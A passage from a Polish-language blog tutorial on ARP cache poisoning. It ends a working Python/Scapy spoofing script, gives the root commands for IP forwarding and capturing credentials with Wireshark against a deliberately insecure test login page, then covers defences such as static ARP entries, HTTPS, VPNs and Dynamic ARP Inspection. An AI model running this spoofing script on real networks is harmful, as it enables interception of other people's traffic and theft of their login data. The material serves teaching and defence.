&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">time&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sleep&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># adresy bramy domyślnej&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gateway_ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Podaj adres IP bramy domyślnej: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># adres IPv4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gateway_mac&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Podaj adres MAC bramy domyślnej: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># adres MAC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># adresy ofiary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">victim_ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Podaj adres IP celu: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># adres IPv4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">victim_mac&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Podaj adres MAC celu: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># adres MAC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># zatruwanie&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ARP&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">op&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># reply (dla request jest 1)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">psrc&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">victim_ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># adres IP ofiary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">gateway_ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># adres IP bramy domyślnej&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hwdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">gateway_mac&lt;/span> &lt;span class="c1"># adres MAC bramy domyślnej&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">),&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">verbose&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ARP&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">op&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># reply&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">psrc&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">gateway_ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># adres IP bramy domyślnej&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">victim_ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># adres IP ofiary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hwdst&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">victim_mac&lt;/span> &lt;span class="c1"># adres MAC ofiary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">),&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">verbose&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Wysłano pakiety ARP&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zakładając, że masz już zainstalowanego Pythona w wersji co najmniej 3.6, bibliotekę Scapy możesz zainstalować za pomocą
polecenia:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ pip install scapy&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Przed uruchomieniem skryptu należy włączyć przekazywanie pakietów, aby docierały do miejsca swojego pierwotnego
przeznaczenia. Na systemie Linux można to zrobić za pomocą poniższego polecenia (z poziomu użytkownika &lt;code>root&lt;/code>)&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code># echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Teraz można już uruchomić skrypt (również jako &lt;code>root&lt;/code>) oraz program &lt;a href="https://www.wireshark.org/"target="_blank" rel="noopener">Wireshark&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, aby
przechwycić ruch sieciowy.&lt;/p>
&lt;p>Na komputerze ofiary, w celach testowych, można wejść na przykładową, specjalnie niezabezpieczoną stronę logowania taką
jak &lt;a href="http://testphp.vulnweb.com/login.php"target="_blank" rel="noopener">http://testphp.vulnweb.com/login.php&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i wpisać jakieś dane w formularzu:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./testphp_vulnweb_login.png"
alt="testphp.vulnweb.com">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zrzut ekranu ze strony &amp;nbsp;&lt;a
href="http://testphp.vulnweb.com/login.php" target="_blank">http://testphp.vulnweb.com/login.php&lt;/a>
&lt;/figcaption>
&lt;/figure>
&lt;p>W programie Wireshark pojawiły się wpisane przez nas dane:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./captured_creds.png"
alt="przechwycone dane logowania w Wireshark">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zrzut ekranu z programu&amp;nbsp;&lt;a
href="https://www.wireshark.org/" target="_blank">Wireshark&lt;/a>
&lt;/figcaption>
&lt;/figure>
Jak można zaobserwować, w nasze ręce wpadły informacje, których raczej nie powinnyśmy widzieć.
&lt;h2>Jak się bronić?&lt;span class="hx:absolute hx:-mt-20" id="jak-się-bronić">&lt;/span>
&lt;a href="#jak-si%c4%99-broni%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na szczęście w dzisiejszych czasach ARP spoofing nie stanowi już takiego zagrożenia, jednak nadal może zostać
przeprowadzony skutecznie, jeśli będziemy nieostrożni. Jak chronić nasz ruch przed tego typu przekierowaniem i w
rezultacie - przechwyceniem?&lt;/p>
&lt;h3>Statyczne wpisy w tablicy ARP&lt;span class="hx:absolute hx:-mt-20" id="statyczne-wpisy-w-tablicy-arp">&lt;/span>
&lt;a href="#statyczne-wpisy-w-tablicy-arp" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Najprostrzym rozwiązaniem kwestii bezpieczeństwa związanej z zatruciem tablicy ARP jest stosowanie
&lt;a href="https://www.xmodulo.com/how-to-add-or-remove-static-arp-entry-on-linux.html"target="_blank" rel="noopener">&lt;em>statycznych&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> wpisów w owej tablicy, tzn.
wpisywanych ręcznie zamiast dodawanych dynamicznie w wyniku działania protokołu ARP.&lt;/p>
&lt;p>Nie jest to jednak rozwiązanie zbyt wygodne, ponieważ nawet w małej sieci domowej przy wymianie routera należałoby
zmienić adresy MAC w tablicy ARP na wszystkich komputerach zawierających statyczne wpisy. Również łacząc się z
Internetem w sieciach publicznych, np. w kawiarni, raczej nikt nie ma ochoty dodawać statycznych wpisów na 10 minut
korzystania z sieci, zwłaszcza jeśli używamy telefonu.&lt;/p>
&lt;h3>Szyfrowanie&lt;span class="hx:absolute hx:-mt-20" id="szyfrowanie">&lt;/span>
&lt;a href="#szyfrowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Obecnie na wielu stronach na szczęście wykorzystywany jest protokół &lt;a href="https://en.wikipedia.org/wiki/HTTPS"target="_blank" rel="noopener">HTTPS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który
jest rozszerzeniem protokołu &lt;a href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol"target="_blank" rel="noopener">HTTP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zapewniającym
szyfrowanie, dzięki czemu nawet w przypadku przechwycenia takiego ruchu przez osobę trzecią, treść komunikacji pozostaje
ukryta (o ile oczywiście szyfrowanie nie zostanie przełamane). W prezentowanym wyżej przykładzie, strona logowania
korzysta ze zwykłego HTTP i nie szyfruje ruchu, przez co dane logowania są podane &lt;em>na tacy&lt;/em> osobie, która przechwyci
komunikację. Dlatego ważne jest używanie protokołów, które ją szyfrują.&lt;/p>
&lt;p>Dodatkową ochroną, przydatną zwłaszcza w sieciach publicznych, może być
&lt;a href="https://www.cloudflare.com/learning/network-layer/what-is-tunneling/"target="_blank" rel="noopener">tunelowanie&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> ruchu przez serwer &lt;a href="https://en.wikipedia.org/wiki/Virtual_private_network"target="_blank" rel="noopener">&lt;em>wirtualnej
sieci prywatnej&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zaufanego dostawcy usług VPN lub
zainstalowanego samodzielnie na prywatnym hostingu. W dużym skrócie, ruch internetowy zostaje przekierowany do serwera
VPN, a komunikacja pomiędzy nim a naszym urządzeniem jest szyfrowana niezależnie od używanych przez inne aplikacje
protokołów.&lt;/p>
&lt;h3>Dynamic ARP Inspection&lt;span class="hx:absolute hx:-mt-20" id="dynamic-arp-inspection">&lt;/span>
&lt;a href="#dynamic-arp-inspection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Profesjonalnym rozwiązaniem wykorzystywanym w sieciach różnych organizacji jest wdrożenie
&lt;a href="https://study-ccna.com/dynamic-arp-inspection-dai/"target="_blank" rel="noopener">DAI&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, które sprawdza przesyłane pakiety ARP pod kątem fałszowania
adresów. Skonfigurowane na przełącznikach weryfikuje, czy adresy IP i MAC w pakiecie są prawidłowe bazując na
powiązaniach &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"target="_blank" rel="noopener">DHCP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jeśli nie - taki pakiet zostaje
odrzucony.&lt;/p>
&lt;p>Aby uruchomić DAI należy wcześniej skonfigurować &lt;a href="https://study-ccna.com/dhcp-snooping/"target="_blank" rel="noopener">&lt;em>DHCP snooping&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>ARP cache poisoning jest standardowym przykładem ataku typu &lt;em>man-in-the-middle&lt;/em> wykorzystującym niezbędny wręcz protokół
w sieciach lokalnych z adresacją IPv4. Mimo że ów atak jest bardzo dobrze znany, nadal należy zachować ostrożność przy
podłączaniu się do obcych (zwłaszcza publicznych) sieci, sprawdzać kto podłącza się do naszej sieci i co w niej robi
oraz dbać o to, aby nasza komunikacja była szyfrowana, w szczególności gdy przesyłamy jakieś wrażliwe informacje takie
jak loginy i hasła.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Strony, którymi się wspierałem:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.cisco.com/c/en/us/products/wireless/wireless-router.html"target="_blank" rel="noopener">https://www.cisco.com/c/en/us/products/wireless/wireless-router.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Ping_%28networking_utility%29"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Ping_(networking_utility)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.comptia.org/content/guides/what-is-a-local-area-network"target="_blank" rel="noopener">https://www.comptia.org/content/guides/what-is-a-local-area-network&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/OSI_model"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/OSI_model&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Internet_protocol_suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://networkencyclopedia.com/encapsulation/"target="_blank" rel="noopener">https://networkencyclopedia.com/encapsulation/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Internet_Protocol_version_4#Packet_structure"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Internet_Protocol_version_4#Packet_structure&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Data_link_layer"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Data_link_layer&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.techtarget.com/searchnetworking/definition/MAC-address"target="_blank" rel="noopener">https://www.techtarget.com/searchnetworking/definition/MAC-address&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Address_Resolution_Protocol&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.w3schools.com/whatis/whatis_cli.asp"target="_blank" rel="noopener">https://www.w3schools.com/whatis/whatis_cli.asp&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields"target="_blank" rel="noopener">https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.omnisecu.com/tcpip/broadcast-mac-address.php"target="_blank" rel="noopener">https://www.omnisecu.com/tcpip/broadcast-mac-address.php&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.rapid7.com/fundamentals/man-in-the-middle-attacks"target="_blank" rel="noopener">https://www.rapid7.com/fundamentals/man-in-the-middle-attacks&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.itpro.co.uk/network-internet/30327/what-is-a-default-gateway"target="_blank" rel="noopener">https://www.itpro.co.uk/network-internet/30327/what-is-a-default-gateway&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
